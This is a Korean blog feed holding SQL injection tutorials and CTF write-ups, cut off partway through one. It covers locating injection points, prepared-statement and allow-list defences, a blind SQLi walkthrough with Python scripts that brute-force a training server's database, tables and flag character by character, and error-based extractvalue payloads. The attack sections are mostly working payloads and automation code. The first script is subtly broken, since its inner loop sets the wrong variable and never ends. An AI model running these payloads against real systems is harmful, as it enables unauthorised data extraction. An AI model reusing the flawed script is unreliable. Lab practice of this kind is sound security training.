<p>그러니 request 패킷을 관찰해보도록 하겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/9398de28-8525-48a3-964c-3cd1b62c4bbd/image.png" alt=""></p>
<p><strong>cookie</strong>에 아이디가 들어가 있네요</p>
<p>이 아이디를 SELECT 했을 것이라 가정하고 참인 SQL문과 거짓인 SQL문을 삽입하여 차이를 관찰해보도록 하겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/567242b3-301f-45ca-8135-082a39ad5428/image.png" alt=""></p>
<p>쿠키 부분에 <code>normaltic429&#39; and &#39;1&#39;=&#39;1</code> 이라는 참인 SQL문을 삽입해보았습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/290bc7e4-6e3e-4460-9999-8ca628ff52fe/image.png" alt=""></p>
<p>그리고 <code>normaltic429&#39; and &#39;1&#39;=&#39;2</code> 이라는 거짓인 SQL문을 삽입해보았습니다</p>
<p>둘의 차이가 보이시나요?</p>
<p>참일 때는 <strong>Nothing here</strong> 이라는 문구가 있던 곳에, 거짓일 때는 아무것도 출력되지 않는 것을 볼 수 있습니다</p>
<p>따라서 삽입된 SQL문의 참/거짓에 따라 다른 결과가 나오는 것을 보아, <strong>cookie 값이 SQLi 포인트</strong>라는 것을 알 수 있습니다</p>
<h4 id="sql문의-column-부분에-sqli-포인트가-있는-경우">SQL문의 column 부분에 SQLi 포인트가 있는 경우</h4>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/b355e1b3-424a-4a2b-bbba-4fdca3d39434/image.png" alt=""></p>
<p>로그인을 하고 글을 쓸 수 있는 게시판이 있습니다</p>
<p>이 게시판에서는 작성자, 제목, 내용을 기준으로 검색이 가능합니다</p>
<p>작성자를 기준으로 검색하는 경우의 패킷을 관찰해보았습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/ee6fe0e4-339d-4b65-9586-15a873281414/image.png" alt=""></p>
<p>POST 방식으로 아래의 파라미터가 전달되는 것을 확인할 수 있었습니다</p>
<p>전달되는 값을 보니 대충 <code>SELECT 게시글 등 FROM 게시판테이블 WHERE username like &#39;%검색한 값%&#39;</code> 과 같은 형태의 SQL문이 작성될 것 같네요</p>
<p>만약 <code>username</code> 부분을 조작해 SQLi 포인트인지 알려면 어떻게 변경해야 할까요?</p>
<p>추측한 SQL 구문에 맞춰 <code>1=1 and username</code> 으로 수정해볼 수 있습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/c0716e14-e880-4267-913b-622e4b68759a/image.png" alt=""></p>
<p>참인 구문인 <code>1=1 and username</code> 을 삽입해 보았습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/e1467d32-dde6-4f3a-8750-ecccafe5b79f/image.png" alt=""></p>
<p>그리고 거짓인 구문인 <code>1=2 and username</code> 를 삽입해 보았습니다</p>
<p>삽입한 SQL문의 참/거짓이 바뀌었더니 출력 결과도 달라졌습니다</p>
<p>따라서 <strong>SQL문의 Where절 column에 해당하는 부분</strong>이 SQLi 포인트임을 알 수 있습니다</p>
<hr>
<p>추가로 <code>order by</code> 절에 SQLi 포인트가 존재하는 경우에 대해 알아보겠습니다</p>
<h4 id="sql문의-order-by-절에-sqli-포인트가-있는-경우">SQL문의 order by 절에 SQLi 포인트가 있는 경우</h4>
<p><code>order by</code> 절에 SQLi 포인트가 존재하는 경우에는 <code>order by 컬럼</code> 의 <strong>컬럼 부분</strong>에 SQL문이 삽입되어야 합니다</p>
<p>그런데 이 <code>order by</code> 절은 뒤에 추가로 붙을 수 있는 SQL문이 많지 않아 지금까지와는 다른 방법을 생각해야 합니다</p>
<p>이 때 필요한 것이 <code>case when</code> 입니다</p>
<blockquote>
<p>‼️ <strong>case when</strong>
if문과 같은 역할을 하는 SQL 문법
<code>case when (조건) then (조건이 참인 경우) else (조건이 거짓인 경우) end</code> 와 같이 사용</p>
</blockquote>
<p><code>order by</code> 절에 <code>case when</code> 을 사용해 <code>order by 컬럼명</code> 의 컬럼명 부분이 SQL문의 참/거짓에 따라 달라지도록 만들어 보겠습니다</p>
<p><code>order by case when (1=1) then 1 else (select 1 union select 2) end</code></p>
<p>이 경우 조건인 <code>(1=1)</code> 이 참이기 때문에 결과가 1이 되고, 결론적으로 <code>order by 1</code> 이 되어 정상 작동하게 됩니다</p>
<p><code>order by case when (1=2) then 1 else (select 1 union select 2) end</code></p>
<p>그렇다면 이렇게 작성하면 어떨까요?</p>
<p>조건인 <code>(1=2)</code> 가 거짓이기 때문에 결과가 행이 2개인 테이블이 되고, 이 결과는 <code>order by</code> 에 적용될 수 없기 때문에 에러가 발생하게 됩니다</p>
<p>그렇다면 이렇게 조건이 참/거짓일 때 달라지는 SQL 결과에 따라 reponse에도 다른 점이 있는지 확인하고, SQLi 포인트인지 확인할 수 있게 됩니다</p>
<hr>
<p>앞에서 언급한 <code>case when (1=2) then 1 else (select 1 union select 2) end</code> 구문에서 <code>(select 1 union select 2)</code> 과 같이 에러를 유발하는 코드를 작성했는데요,</p>
<p><code>order by 99999</code> 와 같은 구문도 분명 에러가 발생할 만한 구문인데 왜 굳이 위와 같이 작성했을까요?</p>
<h4 id="에러-유발">에러 유발</h4>
<p><code>order by 99999</code> 같은 경우는 분명 에러가 날 상황인데, 참과 같은 결과가 나오는 경우가 있습니다</p>
<p>그런데 같은 위치에서 다른 DB에러가 발생하는 것은 확인된다면, 일부러 에러를 유발하는 다른 SQL문으로 바꾸어야 합니다</p>
<hr>
<h4 id="sqli-포인트-찾기-정리">SQLi 포인트 찾기 정리</h4>
<p>1️⃣ cookie, HTTP request 헤더 내 SQLi 포인트 확인
2️⃣ SQL 문 where 절의 column에서 SQLi 포인트 확인
3️⃣ SQL 문 order by 절에서 SQLi 포인트 확인</p>
<hr>
<p>지금까지 SQL Injection을 어떻게 하는 지 알아봤다면,</p>
<p>이제 <strong>SQL Injection에 어떻게 대응해야 하는지</strong> 알아보겠습니다</p>
<h4 id="prepared-statement">Prepared Statement</h4>
<p>Prepared statement는 <strong>SQL 질의문을 미리 기계어로 컴파일 해두는 방법</strong>입니다</p>
<p>사용자에게 입력받아야 할 파라미터 부분은 <code>?</code> 를 활용해 미리 구멍을 뚫어놓고 나머지 부분은 미리 컴파일 해둡니다</p>
<p>이렇게 미리 컴파일 하는 경우 <strong>서버의 SQL 질의문 구조가 절대 바뀌지 않으며</strong>, SQL Injection을 위한 SQL문을 삽입하더라도 모두 문자열과 같이 인식되어 SQL Injection이 불가능해집니다</p>
<p>Prepared Statement 방법을 활용하면 SQLi가 불가능한데, SQL Injection은 왜 알아야 하는 걸까요?</p>
<ol>
<li>Prepared Statement를 잘못 쓴 경우</li>
</ol>
<p>Prepared Statement를 잘못 사용한 경우가 있습니다</p>
<p>예를 들어 where id = ?와 같이 입력 받아야 하는 파라미터 부분은 <code>?</code> 로 표기해야 하는데, </p>
<p>잘못 사용하여 Prepared Statement가 제대로 적용되지 않은 경우 SQLi가 가능하게 됩니다</p>
<ol start="2">
<li>Prepared Statement를 활용할 수 없는 경우</li>
</ol>
<ul>
<li>order by</li>
<li>table 이름</li>
<li>column 이름</li>
</ul>
<p>위 세가지를 파라미터로 받는 경우는 Prepared Statement를 활용할 수 없습니다</p>
<p>그렇다면 SQLi를 시도할 포인트가 발생하게 됩니다</p>
<h4 id="white-list-필터링">White List 필터링</h4>
<p>prepared statement를 활용할 수 없다면 다른 방법을 취해야 합니다</p>
<p>바로 필터링인데요, 필터링에는 2가지 방법이 있습니다</p>
<ul>
<li><p>Black list 필터링 : 특정 단어를 사용할 수 없게 필터링 하는 방법</p>
</li>
<li><p>White list 필터링 : 특정 단어만 사용하도록 필터링 하는 방법</p>
</li>
</ul>
<p>이 중 정해진 컬럼 명 등 특정 단어만 사용 가능하도록 white list 필터링을 하여 SQLi에 대응할 수 있습니다</p>
<hr>
<p>지금까지 SQLi 포인트 찾기 및 SQLi 대응 방법에 대해 알아보았습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Blind SQL Injection 연습 문제 ]]></title>
            <link>https://velog.io/@gyubin_yoon/Blind-SQL-Injection-%EC%97%B0%EC%8A%B5-%EB%AC%B8%EC%A0%9C</link>
            <guid>https://velog.io/@gyubin_yoon/Blind-SQL-Injection-%EC%97%B0%EC%8A%B5-%EB%AC%B8%EC%A0%9C</guid>
            <pubDate>Wed, 28 May 2025 05:49:41 GMT</pubDate>
            <description><![CDATA[<h3 id="1️⃣-sqli-포인트-찾기">1️⃣ SQLi 포인트 찾기</h3>
<p>먼저 문제를 살펴보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/101ada13-775f-4935-9e48-1469f64fc946/image.png" alt=""></p>
<p>flag를 찾아야 하고, 문제 해결에 필요한 계정이 하나 주어졌습니다</p>
<p>주어진 계정으로 로그인하여, response와 request에 특별한 부분이 있는지 확인합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/43cf0d8c-03bc-4229-a6a5-7a52890c0387/image.png" alt=""></p>
<p>딱히 특이 사항 없이 잘 로그인 됩니다</p>
<p>혹시 SQL 문법 오류로 인한 메세지가 출력되는지 확인하기 위해, <code>normaltic&#39;</code> 으로 로그인 시도해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/86be6ae0-1f9f-455c-944c-bda7a17a7216/image.png" alt=""></p>
<p>오류메세지는 출력되지 않고 그냥 로그인 실패 메세지가 뜨네요</p>
<p>SQLi 포인트가 맞는지 확인하기 위해 <code>normaltic&#39; and &#39;1&#39;=&#39;1</code> 로 로그인을 시도해보았습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/e8e851fd-ae97-4ba2-926d-33e867e9d887/image.png" alt=""></p>
<p>잘 로그인 되는 것을 보아 SQLi 포인트는 맞는 것 같습니다</p>
<p>데이터 출력도 에러메세지 출력도 없이 로그인 성공/실패만 알 수 있으니 <strong>Blind SQL Injection</strong>을 진행하겠습니다 </p>
<h3 id="2️⃣-select-사용-가능-확인">2️⃣ select 사용 가능 확인</h3>
<p>Blind  sql injection을 하려면 <code>select</code> 를 사용해야 하기 때문에, </p>
<p><code>select</code> 가 혹시 필터링 등으로 인해 사용 불가능 하진 않은지 먼저 확인합니다</p>
<p><code>normaltic&#39; and (select &#39;test&#39;)=&#39;test&#39; and &#39;1&#39;=&#39;1</code> 를 아이디로 넣어 로그인이 되는지 확인하겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/c031d057-a816-4403-9716-4f606da6f3c5/image.png" alt=""></p>
<p>잘 로그인 되는 것을 보아 <code>select</code> 는 사용 가능합니다</p>
<h3 id="3️⃣-공격-format-작성">3️⃣ 공격 format 작성</h3>
<p>이제 SQLi를 하기 위한 공격 format을 만들어 봅니다</p>
<p><code>normaltic&#39; and (select &#39;test&#39;)=&#39;test&#39; and &#39;1&#39;=&#39;1</code> 이 로그인 가능한 것을 보아,</p>
<p><code>normaltic&#39; and (공격 구문) and &#39;1&#39;=&#39;1</code> 형태로 만들면 될 거 같네요</p>
<p>화면에 출력되는 데이터가 없으니 로그인 성공/실패 여부로 공격 구문의 참/거짓 여부를 판별해 데이터를 알아내야 합니다</p>
<p>이 때, 숫자 맞추기 게임처럼 글자의 범위를 좁혀가며 맞추는 것이 효율적이므로 우선 데이터를 한 글자씩 자르고 </p>
<p>이 글자를 숫자로 변환해 범위에 속하는 지 알아내어 점점 범위를 좁혀가 맞추도록 하겠습니다</p>
<p>글자를 자르는 함수는 <code>substr</code> , 글자를 숫자로 변환하는 것은 <code>ascii</code> 이므로 이 두 함수를 활용해 공격 포맷을 작성하면 아래와 같습니다</p>
<p><code>normaltic&#39; and ascii(substr((_SQL_),1,1))&gt;숫자 and &#39;1&#39;=&#39;1</code></p>
<h3 id="4️⃣-db-이름-찾기">4️⃣ DB 이름 찾기</h3>
<p>DB 이름은 <code>select database()</code> 로 찾습니다</p>
<p>이것을 공격 format에 적절히 삽입해 보겠습니다</p>
<p><code>normaltic&#39; and ascii(substr((select database()),1,1))&gt;숫자 and &#39;1&#39;=&#39;1</code></p>
<p>그런데 몇 글자인지도 모르는 데이터를 한 글자씩 자르고, </p>
<p>이 한 글자를 맞추기 위해 범위를 조금씩 바꿔가며 계속 테스트 하는 것은 시간도 오래 걸리고 힘듭니다</p>
<p>이 과정을 자동화 해보면 어떨까요?</p>
<pre><code class="language-py">import requests

# POST 날릴 URL
url = &quot;http://ctf2.segfaulthub.com:7777/sqli_3/login.php&quot;

# substr을 위한 인덱스 설정 초기화
idx=1

# 글자 다 찾을때까지 반복
while(True):
    # 아스키코드 숫자 값 초기화
    num = 0

    # idx번째 글자가 있는지 먼저 확인하기 위한 POST
    data = {
        &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((select database()),{idx},1))&gt;{num} and &#39;1&#39;=&#39;1&quot;,
        &#39;Password&#39;:&#39;1234&#39;,
        &#39;Submit&#39;:&#39;Login&#39;
        }
    response = requests.post(url, data=data, allow_redirects=False)

    # 만약 글자가 없다면(로그인 실패로 인한 200 코드)
    if response.status_code == 200 :
        print(&quot;\n종료&quot;)
        break
    # 글자가 있다면(로그인 성공으로 인한 302 리다이렉트)
    else:
        flag = True

    # 글자 있으면 글자 추측 시작
    while (flag):

        # idx 번째 글자의 아스키코드 추측을 위한 POST
        data = {
        &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((select database()),{idx},1))&gt;{num} and &#39;1&#39;=&#39;1&quot;,
        &#39;Password&#39;:&#39;1234&#39;,
        &#39;Submit&#39;:&#39;Login&#39;
        }
        response = requests.post(url, data=data, allow_redirects=False)

        # 아스키코드가 처음으로 num보다 작은 상황 = 글자 발견
        if(response.status_code == 200):
            flag2 = False
        else:
            num+=1

    print(chr(num),end=&quot;&quot;)
    idx+=1</code></pre>
<p>이렇게 코드를 작성하면 쉽고 빠르게 원하는 데이터를 찾을 수 있습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/7066ab8a-1ee9-4517-a55f-ac54b6430f52/image.png" alt=""></p>
<p>자동화 코드를 통해 <code>sqli_3</code> 라는 데이터베이스를 찾았습니다</p>
<h3 id="5️⃣-테이블-이름-찾기">5️⃣ 테이블 이름 찾기</h3>
<p>데이터베이스 이름을 알았으니, 이제 이걸 이용해 테이블을 찾겠습니다</p>
<p>테이블을 찾는 sql문은 아래와 같습니다</p>
<p><code>SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;sqli_3&#39;</code></p>
<p>이걸 공격 format에 적절히 삽입해보도록 하겠습니다</p>
<p><code>normaltic&#39; and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;sqli_3&#39; limit 인덱스, 1),인덱스,1))&gt;숫자 and &#39;1&#39;=&#39;1</code></p>
<p>그런데 데이터베이스 이름을 찾을 때와 마찬가지로 한 글자씩 찾는 것은 시간도 오래 걸리고 힘듭니다</p>
<p>그러니 파이썬으로 자동화 코드를 만들어 자동으로 데이터를 찾아주도록 만들어 봅시다</p>
<p>데이터베이스 이름 찾기와 달리 테이블은 여러 개 있을 수 있으니,</p>
<p><code>limit</code> 함수를 사용해 여러 개 있어도 정상적으로 찾을 수 있도록 코드를 작성해주었습니다</p>
<pre><code class="language-py">import requests

# POST 날릴 URL
url = &quot;http://ctf2.segfaulthub.com:7777/sqli_3/login.php&quot;



# limit을 위한 인덱스 설정 초기화
limit_idx = 0

# 데이터 여러 개 다 찾을 때까지 반복
while(True):
    # substr을 위한 인덱스 설정 초기화
    idx=1

    # limit_idx번째 데이터가 있는지 먼저 확인하기 위한 POST
    data = {
        &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;sqli_3&#39; limit {limit_idx},1),1,1))&gt;0 and &#39;1&#39;=&#39;1&quot;,
        &#39;Password&#39;:&#39;1234&#39;,
        &#39;Submit&#39;:&#39;Login&#39;
        }
    response = requests.post(url, data=data, allow_redirects=False)

    # 만약 데이터가 없다면(로그인 실패로 인한 200 코드)
    if response.status_code == 200 :
        print(&quot;종료&quot;)
        break
    # 데이터가 있다면(로그인 성공으로 인한 302 리다이렉트)
    else:
        flag1 = True

    # 글자 다 찾을때까지 반복
        while(flag1):
            # 아스키코드 숫자 값 초기화
            num = 0

            # idx번째 글자가 있는지 먼저 확인하기 위한 POST
            data = {
                &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;sqli_3&#39;limit {limit_idx},1),{idx},1))&gt;0 and &#39;1&#39;=&#39;1&quot;,
                &#39;Password&#39;:&#39;1234&#39;,
                &#39;Submit&#39;:&#39;Login&#39;
                }
            response = requests.post(url, data=data, allow_redirects=False)

            # 만약 글자가 없다면(로그인 실패로 인한 200 코드)
            if response.status_code == 200 :
                print(f&quot;\n{limit_idx+1} 번째 데이터 찾기 완료\n&quot;)
                limit_idx +=1
                break
            # 글자가 있다면(로그인 성공으로 인한 302 리다이렉트)
            else:
                flag2 = True

            # 글자 있으면 글자 추측 시작
            while (flag2):

                # idx 번째 글자의 아스키코드 추측을 위한 POST
                data = {
                &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;sqli_3&#39; limit {limit_idx},1),{idx},1))&gt;{num} and &#39;1&#39;=&#39;1&quot;,
                &#39;Password&#39;:&#39;1234&#39;,
                &#39;Submit&#39;:&#39;Login&#39;
                }
                response = requests.post(url, data=data, allow_redirects=False)

                # 아스키코드가 처음으로 num보다 작은 상황 = 글자 발견
                if(response.status_code == 200):
                    flag2 = False
                else:
                    num+=1

            print(chr(num),end=&quot;&quot;)
            idx+=1
</code></pre>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/bff2b417-ea02-46d7-8d0d-942586e43b32/image.png" alt=""></p>
<p><code>flag_table</code> 과 <code>member</code> 총 2개의 테이블을 찾았습니다</p>
<h3 id="6️⃣-컬럼-이름-찾기">6️⃣ 컬럼 이름 찾기</h3>
<p>테이블을 찾았으니 이제 해당 테이블에 어떤 컬럼이 있는지 알아야 합니다</p>
<p>우리가 문제에서 찾아야 할 것은 flag이니, <code>flag_table</code> 에 어떤 컬럼이 있는지 조사해보겠습니다</p>
<p><code>SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39;</code></p>
<p>마찬가지로 sql 문을 공격 format에 적절히 삽입하면 아래와 같습니다</p>
<p><code>normaltic&#39; and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39; limit 인덱스, 1),인덱스,1))&gt;숫자 and &#39;1&#39;=&#39;1</code></p>
<p>변경된 구문에 맞게 자동화 코드도 수정합니다</p>
<pre><code class="language-py">import requests

# POST 날릴 URL
url = &quot;http://ctf2.segfaulthub.com:7777/sqli_3/login.php&quot;


# limit을 위한 인덱스 설정 초기화
limit_idx = 0

# 데이터 여러 개 다 찾을 때까지 반복
while(True):
    # substr을 위한 인덱스 설정 초기화
    idx=1

    # limit_idx번째 데이터가 있는지 먼저 확인하기 위한 POST
    data = {
        &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39; limit {limit_idx},1),1,1))&gt;0 and &#39;1&#39;=&#39;1&quot;,
        &#39;Password&#39;:&#39;1234&#39;,
        &#39;Submit&#39;:&#39;Login&#39;
        }
    response = requests.post(url, data=data, allow_redirects=False)

    # 만약 데이터가 없다면(로그인 실패로 인한 200 코드)
    if response.status_code == 200 :
        print(&quot;종료&quot;)
        break
    # 데이터가 있다면(로그인 성공으로 인한 302 리다이렉트)
    else:
        flag1 = True

    # 글자 다 찾을때까지 반복
        while(flag1):
            # 아스키코드 숫자 값 초기화
            num = 0

            # idx번째 글자가 있는지 먼저 확인하기 위한 POST
            data = {
                &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39; limit {limit_idx},1),{idx},1))&gt;0 and &#39;1&#39;=&#39;1&quot;,
                &#39;Password&#39;:&#39;1234&#39;,
                &#39;Submit&#39;:&#39;Login&#39;
                }
            response = requests.post(url, data=data, allow_redirects=False)

            # 만약 글자가 없다면(로그인 실패로 인한 200 코드)
            if response.status_code == 200 :
                print(f&quot;\n{limit_idx+1} 번째 데이터 찾기 완료\n&quot;)
                limit_idx +=1
                break
            # 글자가 있다면(로그인 성공으로 인한 302 리다이렉트)
            else:
                flag2 = True

            # 글자 있으면 글자 추측 시작
            while (flag2):

                # idx 번째 글자의 아스키코드 추측을 위한 POST
                data = {
                &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39; limit {limit_idx},1),{idx},1))&gt;{num} and &#39;1&#39;=&#39;1&quot;,
                &#39;Password&#39;:&#39;1234&#39;,
                &#39;Submit&#39;:&#39;Login&#39;
                }
                response = requests.post(url, data=data, allow_redirects=False)

                # 아스키코드가 처음으로 num보다 작은 상황 = 글자 발견
                if(response.status_code == 200):
                    flag2 = False
                else:
                    num+=1

            print(chr(num),end=&quot;&quot;)
            idx+=1</code></pre>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/8206a2f8-62e6-4d36-8f05-518a7ee64089/image.png" alt=""></p>
<p>코드를 실행하였더니 <code>flag</code> 라는 컬럼을 발견했습니다</p>
<h3 id="7️⃣-데이터-추출">7️⃣ 데이터 추출</h3>
<p>테이블과 컬럼 이름까지 알았으니 이제 이걸 이용해 데이터를 추출해야 합니다</p>
<p><code>select flag from flag_table</code> 를 공격 format에 끼워넣으면 됩니다</p>
<p>그럼 아래와 같은 구문이 만들어집니다</p>
<p><code>normaltic&#39; and ascii(substr((select flag from flag_table limit 인덱스,1),인덱스,1))&gt;숫자 and &#39;1&#39;=&#39;1</code></p>
<p>컬럼 데이터를 찾을 때와 마찬가지로 바뀐 구문과 데이터가 여러 개일 수 있다는 점을 고려해 코드를 수정합니다</p>
<pre><code class="language-py">import requests

# POST 날릴 URL
url = &quot;http://ctf2.segfaulthub.com:7777/sqli_3/login.php&quot;



# limit을 위한 인덱스 설정 초기화
limit_idx = 0

# 데이터 여러 개 다 찾을 때까지 반복
while(True):
    # substr을 위한 인덱스 설정 초기화
    idx=1

    # limit_idx번째 데이터가 있는지 먼저 확인하기 위한 POST
    data = {
        &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((select flag from flag_table limit {limit_idx},1),1,1))&gt;0 and &#39;1&#39;=&#39;1&quot;,
        &#39;Password&#39;:&#39;1234&#39;,
        &#39;Submit&#39;:&#39;Login&#39;
        }
    response = requests.post(url, data=data, allow_redirects=False)

    # 만약 데이터가 없다면(로그인 실패로 인한 200 코드)
    if response.status_code == 200 :
        print(&quot;종료&quot;)
        break
    # 데이터가 있다면(로그인 성공으로 인한 302 리다이렉트)
    else:
        flag1 = True

    # 글자 다 찾을때까지 반복
        while(flag1):
            # 아스키코드 숫자 값 초기화
            num = 0

            # idx번째 글자가 있는지 먼저 확인하기 위한 POST
            data = {
                &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((select flag from flag_table limit {limit_idx},1),{idx},1))&gt;0 and &#39;1&#39;=&#39;1&quot;,
                &#39;Password&#39;:&#39;1234&#39;,
                &#39;Submit&#39;:&#39;Login&#39;
                }
            response = requests.post(url, data=data, allow_redirects=False)

            # 만약 글자가 없다면(로그인 실패로 인한 200 코드)
            if response.status_code == 200 :
                print(f&quot;\n{limit_idx+1} 번째 데이터 찾기 완료\n&quot;)
                limit_idx +=1
                break
            # 글자가 있다면(로그인 성공으로 인한 302 리다이렉트)
            else:
                flag2 = True

            # 글자 있으면 글자 추측 시작
            while (flag2):

                # idx 번째 글자의 아스키코드 추측을 위한 POST
                data = {
                &#39;UserId&#39;: f&quot;normaltic&#39; and ascii(substr((select flag from flag_table limit {limit_idx},1),{idx},1))&gt;{num} and &#39;1&#39;=&#39;1&quot;,
                &#39;Password&#39;:&#39;1234&#39;,
                &#39;Submit&#39;:&#39;Login&#39;
                }
                response = requests.post(url, data=data, allow_redirects=False)

                # 아스키코드가 처음으로 num보다 작은 상황 = 글자 발견
                if(response.status_code == 200):
                    flag2 = False
                else:
                    num+=1

            print(chr(num),end=&quot;&quot;)
            idx+=1</code></pre>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/8b7673c9-fac3-473e-a93e-eb1cb8f764a5/image.png" alt=""></p>
<p>실행했더니 플래그를 찾을 수 있었습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Error basesd SQLi 연습 문제 3]]></title>
            <link>https://velog.io/@gyubin_yoon/Error-basesd-SQLi-%EC%97%B0%EC%8A%B5-%EB%AC%B8%EC%A0%9C-3</link>
            <guid>https://velog.io/@gyubin_yoon/Error-basesd-SQLi-%EC%97%B0%EC%8A%B5-%EB%AC%B8%EC%A0%9C-3</guid>
            <pubDate>Tue, 27 May 2025 07:12:51 GMT</pubDate>
            <description><![CDATA[<h3 id="1️⃣-sql-injection-포인트-찾기">1️⃣ SQL Injection 포인트 찾기</h3>
<p>문제는 아래와 같습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/8c4fe94c-8f5b-444e-aa78-16a8a57be3b2/image.png" alt=""></p>
<p>계정이 하나 주어졌네요</p>
<p>주어진 계정으로 로그인 해보며 response와 request에 특이한 점이 있는지 살펴보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/44ac5a88-f7cf-420c-b717-040159828389/image.png" alt=""></p>
<p>별다른 특이점 없이 잘 로그인 되었습니다</p>
<p>혹시 <strong>Error based sqli</strong>가 가능한지 알아보기 위해 <code>normaltic&#39;</code> 를 아이디로 입력해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/efa99b0a-2352-44c5-a948-7feb696969ce/image.png" alt=""></p>
<p>에러메세지가 출력되고 있습니다</p>
<p><strong>Error based sqli</strong>가 가능할 것 같습니다</p>
<p><code>normaltic&#39; and &#39;1&#39;=&#39;1</code>를 아이디로 입력해보았습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/87140071-91b6-4375-b975-f422b6e2ee9c/image.png" alt=""></p>
<p>로그인에 성공하는 것으로 보아 확실히 sqli 포인트입니다</p>
<h3 id="2️⃣-에러-출력-함수">2️⃣ 에러 출력 함수</h3>
<p><strong>error based sqli</strong>를 하려면 에러를 출력할 함수가 필요합니다</p>
<p>이때 활용할 함수는 사용하는 데이터베이스마다 다릅니다</p>
<p>우리는 MySQL을 사용하고 있기 때문에, <code>extractvalue</code> 함수를 활용합니다</p>
<p>XPATH 표현식을 작성해야 할 부분에 틀린 접두사(콜론)와 SQL문을 이어붙여 원하는 SQL문이 실행되도록 할 것입니다</p>
<h3 id="3️⃣-공격-format-만들기">3️⃣ 공격 format 만들기</h3>
<p>이제 본격적인 SQLi를 위해 공격 포맷을 만들어 보겠습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (_SQL_))) and &#39;1&#39;=&#39;1</code></p>
<h3 id="4️⃣-db-이름-찾기">4️⃣ DB 이름 찾기</h3>
<p>DB 이름은 <code>select database()</code> 로 찾습니다</p>
<p>따라서 우리가 아이디로 입력해야 할 sql문은 아래와 같습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (select database()))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/0d2917e8-20f6-4293-bd94-07ccc31df3d0/image.png" alt=""></p>
<p><code>sqli_2_2</code> 라는 DB 명을 찾았습니다</p>
<h3 id="5️⃣-테이블-이름-찾기">5️⃣ 테이블 이름 찾기</h3>
<p>앞에서 찾은 DB 명을 이용해 해당 DB 안에 있는 테이블들을 찾는 SQL문은 아래와 같습니다</p>
<p><code>SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2_2&#39;</code></p>
<p>이 SQl문을 공격 format에 삽입합니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2_2&#39;))) and &#39;1&#39;=&#39;1</code></p>
<p>이제 이 sql문을 아이디로 입력해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/a7892906-3e4b-424f-950a-7fd88658bf4f/image.png" alt=""></p>
<p>테이블이 여러 개인 것 같네요</p>
<p><code>limit</code> 을 활용해 1개씩 찾아보겠습니다</p>
<ol>
<li>첫번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2_2&#39; limit 0,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/a57cd382-dcd0-4377-ba4f-f56fd000b508/image.png" alt=""></p>
<p><code>flagTable_this</code> 라는 테이블을 발견했습니다</p>
<ol start="2">
